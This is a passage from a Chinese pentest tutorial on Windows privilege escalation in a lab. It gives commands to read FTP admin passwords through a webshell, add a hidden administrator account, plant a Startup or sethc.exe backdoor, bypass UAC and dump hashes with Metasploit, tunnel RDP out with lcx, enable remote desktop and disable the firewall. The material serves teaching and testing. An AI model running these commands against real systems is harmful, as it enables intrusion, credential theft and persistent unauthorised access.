  <p><a href="http://img.e-com-net.com/image/info8/2b3d458a7d064d53b47cd654e18ab5ce.png" target="_blank"><img alt="windows 提权_第18张图片" height="301" src="http://img.e-com-net.com/image/info8/2b3d458a7d064d53b47cd654e18ab5ce.png" width="785" style="border:1px solid black;"></a></p> 
  <p> (2)对于目标 G6FTP 的密码的问题,可以通过 webshell 访问:</p> 
  <pre><code>C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/f3bda108cff44b318a3822089005dd9d.jpg" target="_blank"><img alt="windows 提权_第19张图片" height="173" src="http://img.e-com-net.com/image/info8/f3bda108cff44b318a3822089005dd9d.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>来查看密码<br> (3)连接 目标的 G6FTP ,在域中创建用户,开放 C:的权限,执行创建用户的指令</p> 
  <p><a href="http://img.e-com-net.com/image/info8/e4c7a32b59b442bfb19863e9df00f7e8.jpg" target="_blank"><img alt="windows 提权_第20张图片" height="413" src="http://img.e-com-net.com/image/info8/e4c7a32b59b442bfb19863e9df00f7e8.jpg" width="650" style="border:1px solid black;"></a></p> 
  <pre><code>net user chunc 123456 /add && net localgroup administrators chunc /add</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/491b8b4899454beda5a1ec5d9f1f8e2e.jpg" target="_blank"><img alt="windows 提权_第21张图片" height="340" src="http://img.e-com-net.com/image/info8/491b8b4899454beda5a1ec5d9f1f8e2e.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>(4)连接 FTP :</p> 
  <p>在 cmd 中输入:</p> 
  <pre><code>ftp 192.168.103.154</code></pre> 
  <p>然后输入刚才创建的账号和密码:</p> 
  <p><a href="http://img.e-com-net.com/image/info8/270d7174b5e043b7ab25036a9586cb04.jpg" target="_blank"><img alt="windows 提权_第22张图片" height="284" src="http://img.e-com-net.com/image/info8/270d7174b5e043b7ab25036a9586cb04.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>(5)执行设置好的命令:</p> 
  <pre><code>quote stie ADD</code></pre> 
  <p>如果可以执行的化就执行成功了</p> 
  <p>(6)也可以通过添加的 ftp 账号来使用伪协议进行文件写入,或是文件替换来实现自启动提权:</p> 
  <pre><code>1、可以把可执行的后门文件上传到:
C:/Users/用户名/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/ 目录下
2、把后门文件重命名为:sethc.exe
替换到:C:\Windows\System32 目录下</code></pre> 
  <h4>十二、绕过 uac(bypassuac)</h4> 
  <p>12.1  描述:</p> 
  <p>        UAC(UserAccount Control,用户账户控制)简言之就是在 Vista 及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。</p> 
  <p><a href="http://img.e-com-net.com/image/info8/ec14b040fe764e2eb65d5488ba2ebd3e.jpg" target="_blank"><img alt="windows 提权_第23张图片" height="294" src="http://img.e-com-net.com/image/info8/ec14b040fe764e2eb65d5488ba2ebd3e.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>        为了远程执行目标的 exe 或者 bat 可执行文件绕过此安全机制,以此叫 BypassUAC(不进行弹窗直接运行执行文件)</p> 
  <p>12.2  使用 msf 进行绕过:</p> 
  <p>1、先使用 msf 获取 shell,然后 background</p> 
  <p>2、使用如下命令来使用模块:</p> 
  <pre><code>use exploit/windows/local/bypassuac 或 use exploit/windows/local/bypassuac_injection
set session 1
exploit</code></pre> 
  <p>原理:</p> 
  <p>        此模块将利用受信任的通过进程注入发布者证书。它将产生一个关闭 UAC 标志的第二个shell。此模块使用反射 DLL 注入技术,仅丢弃 DLL有效负载二进制文件,而不是标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构 x64(也适用于 SYSWOW64 系统)。如果指定 EXE::自定义 DLL 应在单独启动有效负载后调用 ExitProcess()</p> 
  <p>3、若以上模块都不能生成第二个 shell,可以 search uac,使用其它模块,比如:</p> 
  <pre><code>exploit/windows/local/bypassuac_sdclt</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/7c8c442178964952b0c2f0603de26e5d.jpg" target="_blank"><img alt="" height="74" src="http://img.e-com-net.com/image/info8/7c8c442178964952b0c2f0603de26e5d.jpg" width="650"></a></p> 
  <p>        注意,architecture 和 meterpreter 都要是 x64 才能执行下述命令,如果 meterpreter 是 x86 需要迁移进程到 x64 的进程中:<a href="http://img.e-com-net.com/image/info8/6ff98ca1ec9a4602b41fe00920c9848f.jpg" target="_blank"><img alt="windows 提权_第24张图片" height="241" src="http://img.e-com-net.com/image/info8/6ff98ca1ec9a4602b41fe00920c9848f.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>4、执行下述命令:</p> 
  <pre><code>getsystem
hashdump</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/3fe94c2bb3444bcf88fcad563d45bf1e.jpg" target="_blank"><img alt="windows 提权_第25张图片" height="277" src="http://img.e-com-net.com/image/info8/3fe94c2bb3444bcf88fcad563d45bf1e.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p> 具体说明作用暂且不表。</p> 
  <h4>十三、lcx 端口转发</h4> 
  <p>13.1  工具描述:<br>         lcx 是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。它是一款命令行工具,当然也可以在有权限的 webshell 下执行,正因如此 lcx 常被认为是一款黑客入侵工具,lcx 在内网入侵渗透中起着重要的角色。lcx 进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网 3389 端口。</p> 
  <pre><code>-listen <ConnectPort> <TransmitPort>
-tran <ConnectPort> <TransmitHost> <TransmitPort>
-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>

eg:lck.exe -tran 3344 127.0.0.1 8021</code></pre> 
  <p>13.2  本地转发:</p> 
  <p>1、描述:</p> 
  <p>        把本地的(127.0.0.1)端口转发出来,让外部进行连接</p> 
  <p>2、实现:</p> 
  <pre><code>lck.exe -tran 3344 127.0.0.1 8021</code></pre> 
  <p>13.3  远程转发:</p> 
  <p>1、描述:</p> 
  <p>        远程转发 一般用于外网无法访问内网,内网可以访问外网,由内部发出请求到外网,所以防火墙不会拦截。客户端除了可以在本地访问内网机子,也可以作为中间人,外部机子也能连接客户端到内网服务端。</p> 
  <p>2、复现:</p> 
  <p>(1)目标主机(192.168.103.154):</p> 
  <pre><code>lcx.exe -slave 192.168.103.154 5566 127.0.0.1 3389</code></pre> 
  <p>把本地受保护的 3389 端口转发到 192.168.103.154 的 5566 端口</p> 
  <p>(2)攻击主机(192.168.103.153):</p> 
  <pre><code>lcx.exe -listen 7788 5566</code></pre> 
  <p>(3)这时候攻击主机可以使用 127.0.0.1:7788 来远程连接目标主机</p> 
  <p>(4)这时候第三方主机可以使用 192.168.103.153:7788 来连接目标主机</p> 
  <h4>十四、远程终端开启</h4> 
  <h5>14.1  注册表开启远程终端</h5> 
  <p>1、描述:</p> 
  <p>        远程终端的默认端口是 3389 ,云 vps 一般会开启,在没有启用的情况下,在较高的权限下可以使用注册表命令进行开启。</p> 
  <p>2、2008 2012 2016 开启 3389</p> 
  <p>(1)编辑 1.bat 文件:</p> 
  <pre><code>echo DO ALL IN CMD!

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
</code></pre> 
  <p>(2) 上传到目标主机后运行</p> 
  <p>3、MSF 命令开启 3389 端口</p> 
  <p>(1)获取到目标主机的 shell</p> 
  <p>(2)background 后使用如下命令:</p> 
  <pre><code>use post/windows/manage/enable_rdp
set session 1
exploit
</code></pre> 
  <p>4、cmd 命令开启 3389:</p> 
  <pre><code>REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f</code></pre> 
  <p>5、WMIC 命令开启 3389 :</p> 
  <pre><code>wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1</code></pre> 
  <p>前提条件是确保 "Windows Management Instrumentation(Winmgmt)" 服务已正常启动 </p> 
  <p>6、WMIC 远程开启 3389:</p> 
  <p>(1)支持系统:Win2k/XP/Win2k3</p> 
  <pre><code>wmic /node:192.168.103.154 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1</code></pre> 
  <p>(2)支持系统:Win7/Win2k8/Win8.1/Win10/2012/2016</p> 
  <pre><code>wmic /node:192.168.103.154 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='08serverR2-1' call SetAllowTSConnections 1
或
wmic /node:192.168.103.154 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'</code></pre> 
  <p>        其实就是利用 WMIC 远程执行命令的方式来执行 WMIC、REG 等开启 3389 端口的命令。<br> WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。<br> 错误:描述 = 拒绝访问,这是因为开启了 UAC 用户账户控制,只允许RID500管理员执行此操作。</p> 
  <h5>14.2  查询是否开启 3389 及端口号</h5> 
  <p>1、执行命令,返回 0x0 则为开启,0x1 则为未开启:</p> 
  <pre><code>REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections</code></pre> 
  <p>2、用注册表查询端口号:</p> 
  <p>(1)上传 webshell</p> 
  <p>(2)在 regshell 中查询</p> 
  <pre><code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\</code></pre> 
  <p>3、命令查询端口号:</p> 
  <pre><code>REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
或
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDPTcp" /v PortNumber
转码
set /a Port=0xd3d</code></pre> 
  <p>4、用服务来查询端口号:</p> 
  <pre><code>tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"</code></pre> 
  <p>5、直接查询服务:</p> 
  <pre><code>net start </code></pre> 
  <p> <img alt="" height="25" src="http://img.e-com-net.com/image/info8/af57d8f238e746dfb1df07f2e22a3946.jpg" width="274"></p> 
  <h5>14.3  连接不上的一些操作</h5> 
  <p>1、关闭防火墙:</p> 
  <pre><code>netsh advfirewall show allprofile state 查询状态
netsh advfirewall set allprofiles state off 关闭防火墙
netsh advfirewall set allprofiles state on 启动防火墙
net stop "Windows Firewall" 关闭防火墙
sc config sharedaccess start= disabled 禁用防火墙
net stop sharedaccess 关闭防火墙</code></pre> 
  <p>2、关闭 ipsec:</p> 
  <pre><code>net stop "IPsec Policy Agent"</code></pre> 
  <p>3、若出现如下报错:</p> 
  <p><a href="http://img.e-com-net.com/image/info8/5d0dc009cc764a1ea305bea8d7446ca2.jpg" target="_blank"><img alt="windows 提权_第26张图片" height="262" src="http://img.e-com-net.com/image/info8/5d0dc009cc764a1ea305bea8d7446ca2.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>说明远程桌面连接被设置为了: <a href="http://img.e-com-net.com/image/info8/e5940639e53440aa90ceddf2a145e670.png" target="_blank"><img alt="windows 提权_第27张图片" height="314" src="http://img.e-com-net.com/image/info8/e5940639e53440aa90ceddf2a145e670.png" width="571" style="border:1px solid black;"></a></p> 
  <p>这时候可以:</p> 
  <p>(1)换相同或版本接近的操作系统</p> 
  <p>(2)使用工具 xfreerdp(kali 自带):</p> 
  <pre><code>xfreerdp /f /u:administrator /p:123456 /v:192.168.103.154</code></pre> 
  <p>4、若出现如下报错:</p> 
  <p><a href="http://img.e-com-net.com/image/info8/32e5289c5bc24fc0962e4f45ee421225.jpg" target="_blank"><img alt="windows 提权_第28张图片" height="183" src="http://img.e-com-net.com/image/info8/32e5289c5bc24fc0962e4f45ee421225.jpg" width="619" style="border:1px solid black;"></a></p> 
  <p>说明该用户没有在远程桌面组中,需要添加:</p> 
  <pre><code>net localgroup "Remote Desktop Users" chun /add</code></pre> 
  <p>5、终端超出最大连接数时可用下面的命令来连接:</p> 
  <pre><code>mstsc /v:192.168.103.154:3389 /console</code></pre> 
 </div> 
</div>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1748006840043585536"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(安全,笔记,服务器)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1938900975964188672.htm"
                           title="大模型RLHF强化学习笔记(一):强化学习基础梳理Part1" target="_blank">大模型RLHF强化学习笔记(一):强化学习基础梳理Part1</a>
                        <span class="text-muted">Gravity!</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%A8%A1%E5%9E%8B/1.htm">大模型</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%A8%A1%E5%9E%8B/1.htm">大模型</a><a class="tag" taget="_blank" href="/search/LLM/1.htm">LLM</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a><a class="tag" taget="_blank" href="/search/%E5%BC%BA%E5%8C%96%E5%AD%A6%E4%B9%A0/1.htm">强化学习</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a>
                        <div>【如果笔记对你有帮助,欢迎关注&点赞&收藏,收到正反馈会加快更新!谢谢支持!】一、强化学习基础1.1Intro定义:强化学习是一种机器学习方法,需要智能体通过与环境交互学习最优策略基本要素:状态(State):智能体在决策过程中需要考虑的所有相关信息(环境描述)动作(Action):在环境中可以采取的行为策略(Policy):定义了在给定状态下智能体应该选择哪个动作,目标是最大化智能体的长期累积奖</div>
                    </li>
                    <li><a href="/article/1938899338117836800.htm"
                           title="MySql主从备份Slave" target="_blank">MySql主从备份Slave</a>
                        <span class="text-muted">甚享享</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a>
                        <div>Mysql主从备份可以在除主服务器外的其他服务器是部署从库,用于实时备份生产环境数据,核心是mysql的log-bin日志(二进制日志),主库开启bin日志后,从库通过日志同步(SlaveI/O)和回放(SlaveSQL)实现数据同步.因为设置主从备份时,需要指定主库lob-bin日志运行行数,所以之前的数据需要通过“数据同步”或者手动同步完成修改配置文件Linux:my.cnfWindows:m</div>
                    </li>
                    <li><a href="/article/1938897446415429632.htm"
                           title="windows mysql主从备份_windows下mysql主从备份设置" target="_blank">windows mysql主从备份_windows下mysql主从备份设置</a>
                        <span class="text-muted">韩山云客</span>
<a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/mysql%E4%B8%BB%E4%BB%8E%E5%A4%87%E4%BB%BD/1.htm">mysql主从备份</a>
                        <div>Windowsserver2008mysql主从数据设置步骤:一、安装MySQL说明:在两台MySQL服务器192.168.21.169和192.168.21.168上分别进行如下操作,安装MySQL5.5.22二、配置MySQL主服务器(192.168.21.169)mysql-uroot-p#进入MySQL控制台createdatabaseosyunweidb;#建立数据库osyunweidb</div>
                    </li>
                    <li><a href="/article/1938897194245484544.htm"
                           title="mysql主从备份_mysql实现主从备份" target="_blank">mysql主从备份_mysql实现主从备份</a>
                        <span class="text-muted">Lucas HC</span>
<a class="tag" taget="_blank" href="/search/mysql%E4%B8%BB%E4%BB%8E%E5%A4%87%E4%BB%BD/1.htm">mysql主从备份</a>
                        <div>mysql主从备份的原理:主服务器在做数据库操作的时候将所有的操作通过日志记录在binlog里面,有专门的文件存放。如localhost-bin.000003,这种,从服务器和主服务配置好关系后,通过I/O线程获取到这个binlog文件然后写入到从服务器的relaylog(中继日志)中,然后从服务器执行从服务器中的sql语句进行数据库的同步。实现:准备:两台服务器,mysql环境,可以是Windo</div>
                    </li>
                    <li><a href="/article/1938897066424070144.htm"
                           title="Mysql 主从备份" target="_blank">Mysql 主从备份</a>
                        <span class="text-muted">龙那个猫robot</span>
<a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                        <div>英文好的可以直接去mysql官网查看https://dev.mysql.com/doc/refman/5.7/en/replication.html1环境准备我这里准备两套linux虚拟机,主mysql服务器,从mysql服务区ip192.168.1.30ip192.168.1.1001.1备份主mysql数据库1.2从数据库恢复主mysql数据库1.3配置主mysql服务器配置server-id</div>
                    </li>
                    <li><a href="/article/1938895805821808640.htm"
                           title="iphone se 一代 不完美越狱 14.6 视频壁纸教程(踩坑笔记)" target="_blank">iphone se 一代 不完美越狱 14.6 视频壁纸教程(踩坑笔记)</a>
                        <span class="text-muted">YANG_301</span>
<a class="tag" taget="_blank" href="/search/ios/1.htm">ios</a><a class="tag" taget="_blank" href="/search/iphone/1.htm">iphone</a>
                        <div>iphonese一代不完美越狱14.6加视频壁纸教程-踩坑笔记越狱流程1.爱思助手制作启动u盘坑点:2.越狱好后视频壁纸软件1.源2.软件安装越狱流程1.爱思助手制作启动u盘https://www.i4.cn/news_detail_42302.html此网址为具体流程,但要注意!!!坑点:下图中最后一排quickmode应被勾选(勾选后是×(´ཀ`」∠))进入options后不禁要勾选allow</div>
                    </li>
                    <li><a href="/article/1938894795359449088.htm"
                           title="linux服务器上创建一个文件需要授权一次的问题根源:umask" target="_blank">linux服务器上创建一个文件需要授权一次的问题根源:umask</a>
                        <span class="text-muted">qq_30024063</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a>
                        <div>umask命令用于设置文件的默认权限掩码。文件的权限掩码决定了新建文件的默认权限。umask命令的语法如下:umask[-S][模式]其中,-S选项用于以符号方式显示当前的权限掩码。模式表示要设置的新的权限掩码,可以使用八进制或者符号两种方式。在Linux系统中,每个文件都有三个属性:所有者权限、所属组权限和其他用户权限。每个属性有读、写和执行三个权限,分别用r、w和x表示。对于每一个属性,权限可</div>
                    </li>
                    <li><a href="/article/1938893660254957568.htm"
                           title="mongodb替代品SequoiaDB的安装使用" target="_blank">mongodb替代品SequoiaDB的安装使用</a>
                        <span class="text-muted">码农下的天桥</span>
<a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a><a class="tag" taget="_blank" href="/search/sequoiadb/1.htm">sequoiadb</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a>
                        <div>前言1、为什么不直接使用mongodb啊?答:mongodb的使用协议是SSPL,一旦使用需要将你服务器程序都开源处理–或者给钱。非常不好,而SequoiaDB号称能够兼容mongodb协议,这次来安装试试。mongodb-SSPL,SequoiaDB是AGPL3,勉强比mongodb的协议可用。至少不修改则不用开源。准备工作首先去官网下载:www.sequoiadb.com我下载的版本是:也不知</div>
                    </li>
                    <li><a href="/article/1938893028802490368.htm"
                           title="ENSP---通过配置实现client使用域名访问HTTP服务器" target="_blank">ENSP---通过配置实现client使用域名访问HTTP服务器</a>
                        <span class="text-muted">W111115_</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C---HCIA/1.htm">计算机网络---HCIA</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/http/1.htm">http</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE/1.htm">网络协议</a>
                        <div>1.拓补图拓补图2.需求1.有一个完整的网关(路由器);2、左右两边通过交换机建立两个网段;3、Client通过IP访问http服务器、Client通过域名访问http服务器;4、使用192.168.1.0/24进行合理分配;3.需求分析1.给PC1、PC2、Client、百度服务器配置IP地址、掩码、网关。</div>
                    </li>
                    <li><a href="/article/1938893030039810048.htm"
                           title="DHCP协议---动态主机配置协议" target="_blank">DHCP协议---动态主机配置协议</a>
                        <span class="text-muted">W111115_</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C---HCIA/1.htm">计算机网络---HCIA</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE/1.htm">网络协议</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a>
                        <div>什么是DHCPDHCP(DynamicHostConfigurationProtocol,动态主机配置协议),前身是BOOTP协议,是一个局域网的网络协议,使用UDP协议工作,统一使用两个IANA分配的端口:67(服务器端),68(客户端)。DHCP通常被用于局域网环境,主要作用是集中的管理、分配IP地址,使client动态的获得IP地址、Gateway地址、DNS服务器地址等信息,并能够提升地址</div>
                    </li>
                    <li><a href="/article/1938890131125628928.htm"
                           title="MySQL主从备份" target="_blank">MySQL主从备份</a>
                        <span class="text-muted">W111115_</span>
<a class="tag" taget="_blank" href="/search/MySQL/1.htm">MySQL</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a>
                        <div>前提条件:安装mysql,并开启二进制日志(bin-log日志)【让一台的bin-log日志传到另一台主机上,然后第二台主机收到后,将其bin-log日志读取并恢复到第二台机器上---整个过程实时操作同步】实现过程1.主从机器都开启二进制日志主服务器:vim/etc/my.cnf#编辑mysql配置文件log-bin=mysql-bin#开启二进制日志--------在配置文件中添加server-</div>
                    </li>
                    <li><a href="/article/1938888367592763392.htm"
                           title="Next.js漏洞风暴:CVE-2025-29927全网爆发,你的项目躺枪了吗?" target="_blank">Next.js漏洞风暴:CVE-2025-29927全网爆发,你的项目躺枪了吗?</a>
                        <span class="text-muted">前端菜鸡日常</span>
<a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%B8%B2%E6%9F%93/1.htm">服务端渲染</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a><a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a>
                        <div>Next.js中间件鉴权绕过漏洞(CVE-2025-29927)全面解析与应急指南近日,Next.js框架曝出一个高危安全漏洞CVE-2025-29927,该漏洞允许攻击者通过构造特殊HTTP请求头绕过中间件的安全控制,可能导致未授权访问、数据泄露等严重后果。本文将全面剖析该漏洞的技术细节、影响范围、检测方法及修复方案,帮助开发者快速评估风险并采取应对措施。漏洞概述与技术原理CVE-2025-29</div>
                    </li>
                    <li><a href="/article/1938886225104531456.htm"
                           title="常见的会话劫持攻击是指什么?" target="_blank">常见的会话劫持攻击是指什么?</a>
                        <span class="text-muted">wanhengidc</span>
<a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a>
                        <div>会话劫持攻击是一种常见的网络安全攻击,恶意攻击者通过窃取用户的会话标识符号来接管用户的会话,当攻击者或者有效的会话标识符,那么就可以借取正常用户的数据信息,来访问目标用户的账号,并进行各种操作,来修改或者盗取重要的数据信息,以此来给用户造成巨大的经济损失。所以企业对于会话劫持攻击,可以选择定期更新和修补系统漏洞来保护用户的数据安全,及时更新操作系统、应用程序和安全组件,以此来修复已知的服务器安全漏</div>
                    </li>
                    <li><a href="/article/1938884329736302592.htm"
                           title="RPC:跨越代码与硅晶的“握手”——你每天都在用,却可能从未真正理解它" target="_blank">RPC:跨越代码与硅晶的“握手”——你每天都在用,却可能从未真正理解它</a>
                        <span class="text-muted">老马爱知</span>
<a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E6%8A%80%E6%9C%AF/1.htm">信息技术</a><a class="tag" taget="_blank" href="/search/%23%E5%88%86%E5%B8%83%E5%BC%8F%E8%AE%A1%E7%AE%97/1.htm">#分布式计算</a><a class="tag" taget="_blank" href="/search/rpc/1.htm">rpc</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE/1.htm">网络协议</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/1.htm">分布式系统</a><a class="tag" taget="_blank" href="/search/%E5%BE%AE%E6%9C%8D%E5%8A%A1/1.htm">微服务</a><a class="tag" taget="_blank" href="/search/%E8%BD%AF%E4%BB%B6%E6%9E%B6%E6%9E%84/1.htm">软件架构</a><a class="tag" taget="_blank" href="/search/%E7%A1%AC%E6%A0%B8%E7%A7%91%E6%99%AE/1.htm">硬核科普</a>
                        <div>——从本地调用的幻觉到服务万物的底座,解析这个支配云原生时代的隐形协议引言:一个程序员的日常困境想象一下这个场景:你正在构建一个电商系统。用户服务(管理用户信息)在一台服务器上,订单服务在另一台,而支付服务,则由远在天边的第三方提供。当一个用户下单时,订单服务需要先向用户服务确认用户身份,再调用支付服务完成扣款。这三个服务如同三座孤岛,如何让它们高效、优雅地对话?难道你要手动编写Socket连接,</div>
                    </li>
                    <li><a href="/article/1938881173027614720.htm"
                           title="Python训练营打卡——DAY16(2025.5.5)" target="_blank">Python训练营打卡——DAY16(2025.5.5)</a>
                        <span class="text-muted">cosine2025</span>
<a class="tag" taget="_blank" href="/search/Python%E8%AE%AD%E7%BB%83%E8%90%A5%E6%89%93%E5%8D%A1/1.htm">Python训练营打卡</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a>
                        <div>目录一、NumPy数组基础笔记1.理解数组的维度(Dimensions)2.NumPy数组与深度学习Tensor的关系3.一维数组(1DArray)4.二维数组(2DArray)5.数组的创建5.1数组的简单创建5.2数组的随机化创建5.3数组的遍历5.4数组的运算6.数组的索引6.1一维数组索引6.2二维数组索引6.3三维数组索引二、SHAP值的深入理解三、总结1.NumPy数组基础总结2.SH</div>
                    </li>
                    <li><a href="/article/1938879407628283904.htm"
                           title="<script setup> 语法糖" target="_blank"><script setup> 语法糖</a>
                        <span class="text-muted">前端岳大宝</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E6%A1%86%E6%9E%B6Vue/1.htm">前端框架Vue</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a>
                        <div>下面,我们来系统的梳理关于Vue3语法糖的基本知识点:一、核心概念1.1什么是?是Vue3中CompositionAPI的编译时语法糖,它通过简化组件声明方式,显著减少样板代码,提供更符合直觉的开发体验。1.2设计目标与优势目标实现方式优势减少样板代码自动暴露顶层绑定代码更简洁提升开发体验更自然的响应式写法开发更高效更好的类型支持原生TypeScript集成类型安全编译时优化编译阶段处理运行时更高</div>
                    </li>
                    <li><a href="/article/1938870963240235008.htm"
                           title="[学习] C语言编程中线程安全的实现方法(示例)" target="_blank">[学习] C语言编程中线程安全的实现方法(示例)</a>
